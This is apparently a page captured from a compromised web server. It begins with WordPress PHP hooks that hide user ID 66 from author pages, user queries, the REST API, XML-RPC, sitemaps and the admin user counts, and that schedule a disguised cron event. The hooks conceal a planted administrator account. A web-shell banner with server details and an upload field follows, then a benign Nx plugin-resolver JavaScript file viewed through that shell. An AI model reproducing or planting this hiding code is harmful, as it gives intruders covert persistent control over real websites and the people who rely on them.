add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/emajiwallet/node_modules/nx/src/project-graph/plugins/ |
Upload File : |
"use strict";
Object.defineProperty(exports, "__esModule", { value: true });
exports.resolveNxPlugin = resolveNxPlugin;
exports.resolveLocalNxPlugin = resolveLocalNxPlugin;
exports.getPluginPathAndName = getPluginPathAndName;
const path = require("node:path");
const node_fs_1 = require("node:fs");
const packages_1 = require("../../plugins/js/utils/packages");
const fileutils_1 = require("../../utils/fileutils");
const logger_1 = require("../../utils/logger");
const path_1 = require("../../utils/path");
const workspace_root_1 = require("../../utils/workspace-root");
const find_project_for_path_1 = require("../utils/find-project-for-path");
const retrieve_workspace_files_1 = require("../utils/retrieve-workspace-files");
let projectsWithoutInference;
async function resolveNxPlugin(moduleName, root, paths) {
try {
require.resolve(moduleName);
}
catch {
// If a plugin cannot be resolved, we will need projects to resolve it
projectsWithoutInference ??=
await (0, retrieve_workspace_files_1.retrieveProjectConfigurationsWithoutPluginInference)(root);
}
const { pluginPath, name, shouldRegisterTSTranspiler } = getPluginPathAndName(moduleName, paths, projectsWithoutInference, root);
return { pluginPath, name, shouldRegisterTSTranspiler };
}
function readPluginMainFromProjectConfiguration(plugin) {
const { main } = Object.values(plugin.targets).find((x) => [
'@nx/js:tsc',
'@nrwl/js:tsc',
'@nx/js:swc',
'@nrwl/js:swc',
'@nx/node:package',
'@nrwl/node:package',
].includes(x.executor))?.options ||
plugin.targets?.build?.options ||
{};
return main;
}
function resolveLocalNxPlugin(importPath, projects, root = workspace_root_1.workspaceRoot) {
return lookupLocalPlugin(importPath, projects, root);
}
function getPluginPathAndName(moduleName, paths, projects, root) {
let pluginPath;
let shouldRegisterTSTranspiler = false;
try {
pluginPath = require.resolve(moduleName, {
paths,
});
const extension = path.extname(pluginPath);
shouldRegisterTSTranspiler = extension === '.ts';
}
catch (e) {
if (e.code === 'MODULE_NOT_FOUND') {
const plugin = resolveLocalNxPlugin(moduleName, projects, root);
if (plugin) {
shouldRegisterTSTranspiler = true;
const main = readPluginMainFromProjectConfiguration(plugin.projectConfig);
pluginPath = main ? path.join(root, main) : plugin.path;
}
else {
logger_1.logger.error(`Plugin listed in \`nx.json\` not found: ${moduleName}`);
throw e;
}
}
else {
throw e;
}
}
const packageJsonPath = path.join(pluginPath, 'package.json');
const { name } = !['.ts', '.js'].some((x) => path.extname(moduleName) === x) && // Not trying to point to a ts or js file
(0, node_fs_1.existsSync)(packageJsonPath) // plugin has a package.json
? (0, fileutils_1.readJsonFile)(packageJsonPath) // read name from package.json
: { name: moduleName };
return { pluginPath, name, shouldRegisterTSTranspiler };
}
function lookupLocalPlugin(importPath, projects, root = workspace_root_1.workspaceRoot) {
const projectConfig = findNxProjectForImportPath(importPath, projects, root);
if (!projectConfig) {
return null;
}
return { path: path.join(root, projectConfig.root), projectConfig };
}
let packageEntryPointsToProjectMap;
let wildcardEntryPointsToProjectMap;
function findNxProjectForImportPath(importPath, projects, root = workspace_root_1.workspaceRoot) {
const tsConfigPaths = readTsConfigPaths(root);
const possibleTsPaths = tsConfigPaths[importPath]?.map((p) => (0, path_1.normalizePath)(path.relative(root, path.join(root, p)))) ?? [];
const projectRootMappings = new Map();
if (possibleTsPaths.length) {
const projectNameMap = new Map();
for (const projectRoot in projects) {
const project = projects[projectRoot];
projectRootMappings.set(project.root, project.name);
projectNameMap.set(project.name, project);
}
for (const tsConfigPath of possibleTsPaths) {
const nxProject = (0, find_project_for_path_1.findProjectForPath)(tsConfigPath, projectRootMappings);
if (nxProject) {
return projectNameMap.get(nxProject);
}
}
}
if (!packageEntryPointsToProjectMap && !wildcardEntryPointsToProjectMap) {
({
entryPointsToProjectMap: packageEntryPointsToProjectMap,
wildcardEntryPointsToProjectMap,
} = (0, packages_1.getWorkspacePackagesMetadata)(projects));
}
if (packageEntryPointsToProjectMap[importPath]) {
return packageEntryPointsToProjectMap[importPath];
}
const project = (0, packages_1.matchImportToWildcardEntryPointsToProjectMap)(wildcardEntryPointsToProjectMap, importPath);
if (project) {
return project;
}
logger_1.logger.verbose('Unable to find local plugin', possibleTsPaths, projectRootMappings);
throw new Error('Unable to resolve local plugin with import path ' + importPath);
}
let tsconfigPaths;
function readTsConfigPaths(root = workspace_root_1.workspaceRoot) {
if (!tsconfigPaths) {
const tsconfigPath = ['tsconfig.base.json', 'tsconfig.json']
.map((x) => path.join(root, x))
.filter((x) => (0, node_fs_1.existsSync)(x))[0];
if (!tsconfigPath) {
throw new Error('unable to find tsconfig.base.json or tsconfig.json');
}
const { compilerOptions } = (0, fileutils_1.readJsonFile)(tsconfigPath);
tsconfigPaths = compilerOptions?.paths;
}
return tsconfigPaths ?? {};
}